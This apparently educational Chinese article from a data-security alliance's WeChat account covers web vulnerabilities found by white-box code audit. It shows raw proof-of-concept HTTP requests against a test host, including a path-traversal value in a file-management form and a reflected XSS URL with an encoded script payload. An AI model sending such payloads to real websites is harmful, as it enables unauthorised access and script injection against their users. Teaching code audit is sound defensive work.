简介:
白盒测试顾名思义是检查源代码中的安全缺陷,检查程序源代码中是否存在安全隐患。主要是通过自动化工具以及人工审查的方式对程序源代码逐条进行检查和分析,并对这些源代码缺陷所引发的安全漏洞提供代码修订措施和建议。
本次从白盒角度看web安全漏洞,让大家更能清晰的去认识漏洞是如何产生的,深挖漏洞的原理。
2、未授权漏洞
POST /manage_website.php HTTP/1.1
Host: penglead
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4750.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://penglead/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: XDEBUG_SESSION=liangwei
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryes1zjoPrRjALQZzv
Content-Length: 370
------WebKitFormBoundaryes1zjoPrRjALQZzv
Content-Disposition: form-data; name="btn_web"
123
------WebKitFormBoundaryes1zjoPrRjALQZzv
Content-Disposition: form-data; name="login_image";filename="123"
123
------WebKitFormBoundaryes1zjoPrRjALQZzv
Content-Disposition: form-data; name="old_login_image"
../../1.txt
------WebKitFormBoundaryes1zjoPrRjALQZzv--
3、重定向漏洞
POST /php_action/editOrder.php HTTP/1.1
Host: penglead
Content-Length: 306
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://penglead
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4750.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: XDEBUG_SESSION=liangwei; PHPSESSID=96j52ihp3gavto0ho256d3qa6u
Connection: close
orderDate=2022-10-13
4、反射型XSS
http://penglead/editbrand.php?id=%22%3E%3Cscript%3Ealert(123456)%3C/script%3E%3C%22
5、文件上传漏洞
很多web漏洞是开发人员对前端传入过来的参数没有进行严格的限制,可能开发者也没有想到这么写会有漏洞产生。虽然通过代码审计的方式能更全面的发现系统存在的安全问题,但同时考验安全从业人员通读代码的能力,另一个层面来讲,代码能力也成为了衡量安全从业人员实力的一个标准,路漫漫其修远兮吾将上下而求索。
仅供参考学习,不构成相对法律属性、关系、效力的确认和保证,如有错漏敬请见谅。
不当之处,欢迎批评指正。
联盟成员单位介绍
浙江东安检测技术有限公司成立于2009年,致力于网络安全等级保护测评、商用密码应用安全性评估、数据安全评估、代码审计、渗透测试、涉密系统咨询、安全咨询等业务,是国内网络安全领域最专业的第三方测评机构之一,先后为G20(杭州)峰会、厦门金砖会议、世界互联网大会(乌镇)、亚运会等提供技术服务。
原文始发于微信公众号(杭州数据安全联盟):联盟成员专家解读 | 从白盒角度看web漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论